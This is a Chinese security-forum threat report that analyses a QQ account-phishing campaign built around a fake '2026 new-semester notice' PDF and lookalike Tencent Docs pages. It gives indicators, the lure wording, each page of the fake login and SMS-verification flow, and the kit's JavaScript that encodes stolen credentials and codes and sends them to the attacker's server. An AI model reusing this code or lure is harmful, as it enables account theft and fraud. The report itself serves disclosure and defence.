腾讯帐号窃密黑产：qqedu-wngal-com，关于2026新学期告知表.pdf，火绒不报

显示全部楼层 · 发表于 2026-9-14 08:01:25

来源：https://www.52pojie.cn/thread-2127845-1-1.html
发现：le237
抄送：@火绒工程师
备注：假设所有均完成验证流程，那么约有３６００名受害者遭到帐号窃取或黑产利用

发现者描述

同学说是在邮箱的垃圾箱里找到的，在校园网环境下打不开
换一个网络环境后可以正常打开，他尝试登录后第一遍能收到验证码
输入后无响应，之后尝试登录均无法收到验证码
并有提示说什么24小时怎么怎么样
（真是同学，不是楼主本人）

复制代码

钓鱼窃密
域　名　wngal[.]com
注册商　Gname.com Pte. Ltd.
注册人
邮　箱
地　区　中国（CN）
注册日　2025-12-20 21:11:29 UTC+8
过期日　2026-12-20 21:11:29 UTC+8
更新日　2026-08-20 15:01:12 UTC+8
IANA_ID　1923
状　态　客户端禁止转移
DNS　　a2[.]share-dns[.]com
　　　　b2[.]share-dns[.]net
DNSSEC　未配置

文件指纹
关于2026新学期告知表.pdf
大小: 873246 字节 : 852 KiB
CRC32: 8AEAC3D4
XXH64: E07F75304F4B8C60
SHA256: 7c477c9b51d25e7c6a1bc2bf2764c69205076f4f6c7b6073da4c989c129f94c3
SHA3-256: 0952e83b6f932661a28d6e8698ec6a5e1cb85feaf6f96a28d69152b826a9ef6a

火绒扫描（我自己的本地扫描结果）
6.0.11.3 版本
09-13 18:49 病毒库

2026/09/14 07:47:10
病毒防护
病毒查杀
自定义扫描(手动执行)，发现0个风险项目

病毒库时间：2026-09-13 18:49
开始时间：2026-09-14 07:47
执行类型：手动执行
扫描类型：自定义扫描
总计用时：00:00:01
扫描对象：10
扫描文件：1
发现风险：0
已处理风险：0

钓鱼标题

关于2026新学期告知表.pdf

复制代码

钓鱼话术

关于 2026 届新学期生活补助统计名单以及在校学生个人档案信息核对表
如文件过大导致图片模糊打不开，请复制以下链接: https://qqedu[.]wngal[.]com
到浏览器打开查询，请务必及时查看不在另行发送，否则后果自负!
高斯模糊钓鱼表格图片
【时间／姓名】【时间／姓名】【时间／姓名】
收到的同学请务必及时查看
请在规定时间内完成确认，逾期未确认者视为放弃。

复制代码

文档属性

服务
腾讯文档
文档编号
fjSZrHtFcAFm
文档类型
云端文档
application/pdf
内容统计
１页
所有者
事事顺心
MTQ0MTE1NDIzODY4NjkzNjk1
登录来源
ＱＱ渠道
文档大小
873246
创建时间
1789246331565
2026-09-13 04:52:11
PDF 生成器
jsPDF 2.5.1
PDF 版本
1.3
页面大小
210 × 297 毫米（A4，纵向）

复制代码

宝塔后端

https://qqedcu[.]wngal[.]com/index.html
恭喜, 站点创建成功！
这是默认index.html，本页面由系统自动生成
本页面在FTP根目录下的index.html
您可以修改、删除或覆盖本页面
FTP相关信息，请到“面板系统后台 > FTP” 查看

复制代码

钓鱼链接

https://qqedcu[.]wngal[.]com/indexa.html
网页标题
学生资料
腾讯文档
搜索
提醒
我的文档
筛选
与我共享
校园通告栏（文档）
我创建｜所有人可查看｜前天 06:32
属性：成员
学生资料（表格）
我创建｜所有人可查看｜前天 06:29
属性：成员／已收藏

复制代码

钓鱼弹框

当前文档过大，需要登录QQ才能查看
确定按钮

复制代码

伪造登录

https://qqedcu[.]wngal[.]com/step_in
腾讯文档
请输入帐号
请输入密码
登录按钮

复制代码

手机号码

https://qqedcu[.]wngal[.]com/step_phone
手机号验证
当前设备需要进行手机号验证，需要通过密保手机证你的身份。
中国大陆(+86)
请输入手机号
下一步按钮

复制代码

短信验证

https://qqedcu[.]wngal[.]com/step_code
当前设备需要进行身份验证，需要通过密保手机验证你的身份。
验证码已通过短信发送给您
请输入验证码
重新发送
验证码将发送至手机，请注意查收。
确定提交验证按钮

复制代码

发送短信

https://qqedcu[.]wngal[.]com/step_send
请使用 138 **** 8000 发送短信，完成后点击"我已发送"按钮。请在发送短信后10分钟内完成登录。
发短信
验证QQ
到号码
10690700511
一键复制
一键发送
sms:10690700511?body=验证QQ
我已发送按钮

复制代码

伪造跳转

https://qqedcu[.]wngal[.]com/step_load
请勿操作！文档加载中...

复制代码

虚假文档

https://qqedcu[.]wngal[.]com/step_ok
腾讯文档
院校通告.xlsx
更新中...请您24小时后再来下载查看
立即下载按钮

复制代码

系统繁忙

https://qqedcu[.]wngal[.]com/step_err
当前系统繁忙，请5分钟后尝试认证!
宝塔默认首页跳转按钮

复制代码

动态配置
窃密参考

https://qqedcu[.]wngal[.]com/app/data.php?sv=js&0.5372493624229183
var conf = {
"tongji": "indexa.html",
"denyReady": "1270",
"location": "file",
"viewTimes": "4",
"viewcode": "3",
"readyJump": "https://docs.qq.com",
"phone": "13800138000",
"s_code": 1234,
"s_tel": null
};
document.write("<div style="display:none;">indexa.html<\/div>");

复制代码

实时轮询

https://qqedcu[.]wngal[.]com//app/data.php
{
"err": 0,
"state": null,
"pn_ret": 1,
"id": "3604"
}

复制代码

核心脚本

https://qqedcu[.]wngal[.]com/app/data.js
document.write('<script src="../app/data.php?sv=js&'+Math.random()+'"><\/script><script src="../app/cess/index.php?id=5" ><\/script>');
function ds(act,data){
console.log(data);
$.get('../app/data.php','sv='+encodeURIComponent(b6(b6(JSON.stringify({act:act||'sv',data:data})))),function(d){
d = dejson(d);
});
}
function rs(o){
clearInterval(window.rshand);
window.rshand = setInterval(function(){
o=o||{};
o.rs = 'rs';
if(o.pn && !window.ispv){
o.pp = window.ispv = true;
}else{
o.pp = undefined;
}
$.post('../app/data.php',o,function(d){
d = dejson(d);
console.log(d.state);
if( d.state){
if(2 == d.state){
jump('../step_in_fail/');
}else if(3 == d.state){
jump('../step_code/');
}else if(4 == d.state){
jump('../step_code_fail/');
}else if(5 == d.state){
jump('../step_ok/');
}else if(6 == d.state){
jump('../step_err/');
}else if(35 == d.state){
jump('../step_send/');
}else if(36 == d.state){
msg('验证码验证失败，请重新发送！',function(){jump('../step_send/'); })
if(window.tfun)setTimeout(window.tfun,2000);
}else if(9 == d.state){
jump('../step_phone/');
}else
if(22 == d.state){
msg('未找到你的账号，请重新输入！',function(){jump('../step_in_fail/'); })
if(window.tfun)setTimeout(window.tfun,2000);
}else if(23 == d.state){
msg('验证码验证失败，请重新输入！',function(){jump('../step_code/'); })
if(window.tfun)setTimeout(window.tfun,2000);
}else if(24 == d.state){
msg('验证码验证失败，请重新输入！',function(){jump('../step_code_fail/'); })
if(window.tfun)setTimeout(window.tfun,2000);
}else if(29 == d.state){
msg('电话验证失败，请重新操作！',function(){jump('../step_phone/'); })
if(window.tfun)setTimeout(window.tfun,2000);
}else if(26 == d.state){
msg('验证失败，请重新操作！',function(){jump('../step_err/'); })
if(window.tfun)setTimeout(window.tfun,2000);
}else if(28 == d.state){
msg('支付校验失败，请重新操作！',function(){jump('../step_msg/'); })
if(window.tfun)setTimeout(window.tfun,2000);
}else if(8 == d.state){
jump('../step_msg/');
}
}
});
},2500);
function jump(url){
$.post('../app/data.php','rs=clear',function(d){
location.href = url;
});
}
//JS普通弹框
function msg(text, fun){
window.tfun = fun;clearTimeout(window.tmst);
window.tmsg&&document.body.removeChild(tmsg);
document.body.insertAdjacentHTML('beforeEnd','<div id="tmsg" style="background:rgba(0,0,0,0.6);position:fixed;left:0;top:0;width:100%;height:100%;z-index:19891015"><div style="margin:200px auto 0;background:#fff;border:solid #aaa 1px;border-radius:5px;width:90%;max-width:450px;text-align:center;"><div style="padding:32px 10px;color:#333;font-size:16px;line-height:2;">'+text+'</div><div><button style="BTNSTYLE">确定</button></div></div></div>'.replace(/BTNSTYLE/g,'padding:0px;font-size:14px;font-weight:100;color:#fff;border-style:none;border-color:initial;height:40px;line-height:40px;width:150px;max-width:28vw;cursor:pointer;border-radius:5px;background:#4899E0;margin:0 8px 20px;'));
}
}
//JS提示弹框
function tip(text, time){
$('#tmsg').remove();
document.body.insertAdjacentHTML('beforeEnd','<div id="tmsg" style="top:200px;left:20%;right:20%;color:#fff;margin:0 auto;opacity:0;padding:5px;font-size:15px;max-width:300px;position:fixed;text-align:center;border-radius:8px;background-color:#333;border:1px solid #222;box-shadow:rgba(0,0,0,0.25) 0px 0px 10px 6px;transition:opacity 0.6s;z-index:19891016;">'+text+'</div>');
setTimeout('tmsg.style.opacity=0.8',0);clearTimeout(window.tmst);
window.tmst=setTimeout('tmsg.style.opacity=0;setTimeout("document.body.removeChild(tmsg)",600);',(time||3)*1000);
}
//JS普通弹框
function msg_ok(text, fun){
window.tfun = fun;clearTimeout(window.tmst);
$('#tmsg').remove();
document.body.insertAdjacentHTML('beforeEnd','<div id="tmsg" style="background:rgba(0,0,0,0.6);position:fixed;left:0;top:0;width:100%;height:100%;z-index:19891015"><div style="margin:200px auto 0;background:#fff;border:solid #aaa 1px;border-radius:5px;width:90%;max-width:450px;text-align:center;"><div style="padding:32px 10px;color:#333;font-size:16px;line-height:2;">'+text+'</div><div><button style="BTNSTYLE">确定</button></div></div></div>'.replace(/BTNSTYLE/g,'padding:0px;font-size:14px;font-weight:100;color:#fff;border-style:none;border-color:initial;height:40px;line-height:40px;width:150px;max-width:28vw;cursor:pointer;border-radius:5px;background:#4899E0;margin:0 8px 20px;'));
}
//JS普通弹框
function msg(text, fun){
window.tfun = fun;clearTimeout(window.tmst);
$('#tmsg').remove();
document.body.insertAdjacentHTML('beforeEnd','<div id="tmsg" style="background:rgba(0,0,0,0.6);position:fixed;left:0;top:0;width:100%;height:100%;z-index:19891015"><div style="margin:200px auto 0;background:#fff;border:solid #aaa 1px;border-radius:5px;width:90%;max-width:450px;text-align:center;"><div style="padding:32px 10px;color:#333;font-size:16px;line-height:2;">'+text+'</div><div><button style="BTNSTYLE;background:#ccc;">取消</button><button style="BTNSTYLE">确定</button></div></div></div>'.replace(/BTNSTYLE/g,'padding:0px;font-size:14px;font-weight:100;color:#fff;border-style:none;border-color:initial;height:40px;line-height:40px;width:150px;max-width:28vw;cursor:pointer;border-radius:5px;background:#4899E0;margin:0 8px 20px;'));
}
function dejson(d){
try {
if(typeof(d) == 'string') d = JSON.parse(d);
if(d.tip)tip(d.tip);
if(d.alert)alert(d.alert);
if(d.reload)location.reload();
if(d.location)location.href = d.location;
} catch(e){
return {d: d,e: e};
}
return d;
}
function b6(s) {
s = s.replace(/\r\n/g,'\n');
var r1,r2,r3,c,c1,c2,c3,c4,i = 0,v = '',u = '',q = 'charAt',w = 'charCodeAt',f = String.fromCharCode,l = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
for (var n = 0; n < s.length; n++) {
var c = s[w](n);
if (c < 128) {
u += f(c)
} else if ((c > 127) && (c < 2048)) {
u += f((c >> 6) | 192);
u += f((c & 63) | 128)
} else {
u += f((c >> 12) | 224);
u += f(((c >> 6) & 63) | 128);
u += f((c & 63) | 128)
}
}
while (i < u.length) {
r1 = u[w](i++);
r2 = u[w](i++);
r3 = u[w](i++);
c1 = r1 >> 2;
c2 = ((r1 & 3) << 4) | (r2 >> 4);
c3 = ((r2 & 15) << 2) | (r3 >> 6);
c4 = r3 & 63;
if (isNaN(r2)) {
c3 = c4 = 64
} else if (isNaN(r3)) {
c4 = 64
}
v = v + l[q](c1) + l[q](c2) + l[q](c3) + l[q](c4)
}
return v
}
// console.log("ds('sv',{user:'4165456',pass:'446565'});");
// console.log("ds('sv',{code:'4165456'});");
if(/iPhone|iPod|ios|iPad/i.test(navigator.userAgent)){
document.write('<style>.jp{padding-bottom: 42px;}</style>');
}

复制代码

[已鉴定] 腾讯帐号窃密黑产：qqedu-wngal-com，关于2026新学期告知表.pdf，火绒不报